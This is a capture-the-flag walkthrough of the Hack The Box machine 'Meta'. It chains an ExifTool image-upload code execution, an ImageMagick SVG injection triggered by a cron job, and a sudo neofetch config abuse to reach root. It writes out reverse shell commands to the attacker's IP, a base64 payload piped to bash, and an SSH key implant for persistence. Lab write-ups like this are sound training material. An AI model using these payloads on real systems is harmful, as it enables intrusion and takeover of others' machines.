Meta
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.140 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.140.
It looks like there is an Apache webserver running on port 80. Attempting to visit the website redirects us to http://artcorp.htb, so let's add that to /etc/hosts: echo "10.10.11.140 artcorp.htb" | sudo tee -a /etc/hosts.
Scan for UDP services with sudo nmap -p- -sU -r -T5 10.10.11.140 -v (-r specifies that ports will be scanned sequentially instead of randomly. we do this because services are more likely to be running on ports 1-1000.). This finds nothing.
Virtual Host Scanning
Let's scan for virtual hosts (subdomains) with ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://artcorp.htb/ -H "Host: FUZZ.artcorp.htb" -fc 301:
Let's add the new dev01 subdomain to /etc/hosts: echo "10.10.11.140 dev01.artcorp.htb" | sudo tee -a /etc/hosts.
Apache (Port 80)
80)The website running on port 80 is very bare bone and the only significant information is this: "We are almost ready to launch our new product "MetaView". / The product is already in testing phase. / Stay tuned!"
dev01 Virtual Host
dev01 Virtual HostNavigating to http://dev01.artcorp.htb/ shows a page with a link to http://dev01.artcorp.htb/metaview/.
Navigating to the /metaview page shows an image upload. Uploading a non-image file produces this message: "File not allowed (only jpg/png)."
Uploading a random .jpg image displays the following:
This looks exactly like the output from exiftool. Running exiftool ./path/to/image.jpg produces:
Sure enough the outputs look similar, but not identical.
Searching for "exiftool rce" online finds the following:
"Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file."
"ExifTool 7.44 to 12.23 has a bug in the DjVu module which allows for arbitrary code execution when parsing malicious images."
Foothold
We will use the OneSecCyber/JPEG_RCE GitHub repo to exploit this vulnerability.
Let's follow the commands in the repo to create the malicious image:
Uploading the newly created runme.jpg image to the dev01 subdomain produces the following output:
So, we have arbitrary command execution. Now, let's use a reverse shell payload instead. We will use the following reverse shell: bash -i >& /dev/tcp/10.10.14.169/52427 0>&1. We encode this to base64 to remove illegal characters with echo -n "bash -i >& /dev/tcp/10.10.14.169/52427 0>&1" | base64 to get YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ==. So, start a listener with pwncat or netcat with nc -nvlp 52427. Then, create the malicious image with exiftool -config eval.config runme.jpg -eval='system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ== | base64 -d | bash")'.
Uploading this malicious file to the website get us a reverse shell as user www-data.
Lateral Movement
The user with id 1000 is thomas. We can view his home directory with ls -la /home/thomas/ to see the user.txt flag.
We upload LinPEAS and run it, but there is nothing obvious in the output. However, it is cool to see the number of nested processes we made in order to get a foothold on the box:
Uploading and running pspy reveals that the following are run every minute:
Let's check out the /usr/local/bin/convert_images.sh script.
The script uses pkill without an absolute path so if we had write permissions to somewhere on the global PATH variable we could replace that command with our own script, but we do not have these write permissions.
Running mogrify produces a long help output with the version string at the top: Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org. Searching online for "imagemagick 7.0.10-36 exploit" finds this page at the top of the results, which discusses CVE-2020-29599: "A flaw was found in ImageMagick. The -authenticate option is mishandled allowing user-controlled password set for a PDF file to possibly inject additional shell commands via coders/pdf.c. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability." This vulnerability works for "ImageMagick before 6.9.11-40 and 7.x before 7.0.10-40." We are running version 7.0.10-36, which is before 7.0.10-40, so this exploit should work.
Searching for "imagemagick XML injection," which is what this vulnerability is, finds this news article on PortSwigger and this blog post by the person who found the vulnerability. Additionally, searching for "CVE-2020-29599" on GitHub finds coco0x0a/CVE-2020-29599.
There is a proof of concept image on the vulnerability finder's website:
Let's change this slightly so that the 0wned file gets placed in a known location:
Let's create a file called poc.svg with this text using nano (or any text editor). Now, we can upload this image to /var/www/dev01.artcorp.htb/convert_images/ with pwncat's upload command. Now, we just need to wait at most a minute for the cron job to run. For whatever reason, this does not work. However, changing the directory where the file is written to /dev/shm/ causes the file to be written. We can find world writeable directories with find / -maxdepth 3 -type d -perm -777. So, the working exploit is:
This creates the file /dev/shm/0wned (once the cron job runs() with the following output: uid=1000(thomas) gid=1000(thomas) groups=1000(thomas),27(sudo). So, we have command execution. We can set the command to a reverse shell such as bash -i >& /dev/tcp/10.10.14.169/37580 0>&1 and start a listener on port 37580 (pwncat-cs -lp 37580).
We upload this svg to /var/www/dev01.artcorp.htb/convert_images:
Sure enough, after waiting about 20 seconds, we get a reverse shell as thomas.
We can now get the user.txt flag with cat ~/user.txt.
Privilege Escalation
First, we can get persistance using pwncat by running run implant.authorized_key key=/home/kali/.ssh/id_rsa in the local shell. I set the permissions of the .ssh folder to be what they should be with cd && chmod 700 .ssh && chmod 600 .ssh/authorized_keys. Now we can connect with pwncat-cs thomas@artcorp.htb --identity /home/kali/.ssh/id_rsa over SSH.
Looking at /tmp when logged in as thomas shows different files than when logged in as www-data, which is why writing the file to /tmp didn't working during the lateral movement phase. Apparently, each user has their own /tmp directory.
We run sudo -l to see what we can do as the root user since we saw that the user thomas was in the sudo group earlier (or just run groups).
sudo -l outputs:
So, we can run the neofetch command as root. When we ran pspy earlier I noticed something involving neofetch run so this is not a surprise. Additionally, there is a /home/thomas/neofetch/config.conf file with a lot of options. However, the actual neofetch configuration file is located at /home/thomas/.config/neofetch/config.conf.
neofetch is listed on GTFOBins. However, trying to run sudo neofetch --ascii /root/root.txt to get the root.txt flag asks for thomas's password, which we don't have. So, we can't specify options on the neofetch binary.
Checking pspy again we see that /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf is executed as root about every minute. So the config file is overwritten every minute or so.
We can edit the neofetch config file at /home/thomas/.config/neofetch/config.conf and add prin "Test" "$(echo test)" under the print_info() function heading. Running neofetch again will show Test: test in the output. Thus, we have command execution, but running sudo neofetch runs neofetch as root which means it won't use the configuration file located /home/thomas/.config.
According to the documentation for neofetch, "the per-user location for neofetch's config is ${HOME}/.config/neofetch/config.conf"
Searching for "change linux hidden directory config location" finds this linux StackExchange answer, which mentions the XDG Base Directory Specification and this StackOverflow answer. According to the StackOverflow answer, we can set the XDG_CONFIG_HOME environment variable to where user-specific configuration files are stored, which defaults to "$HOME/.config".
So, we run export XDG_CONFIG_HOME=/home/thomas/.config to set the the XDG_CONFIG_HOME to thomas's home directory explicitly instead "$HOME/.config". Now, we nano /home/thomas/.config/neofetch/config.conf and add prin "Test" "$(cat /root/root.txt)" under the print_info() function heading. Now, when we run sudo neofetch, we see Test: [/root/root.txt] here.
We could now get a root shell using a reverse shell instead of cat /root/root.txt in the neofetch configuration file or we could copy root's private ssh key.
Last updated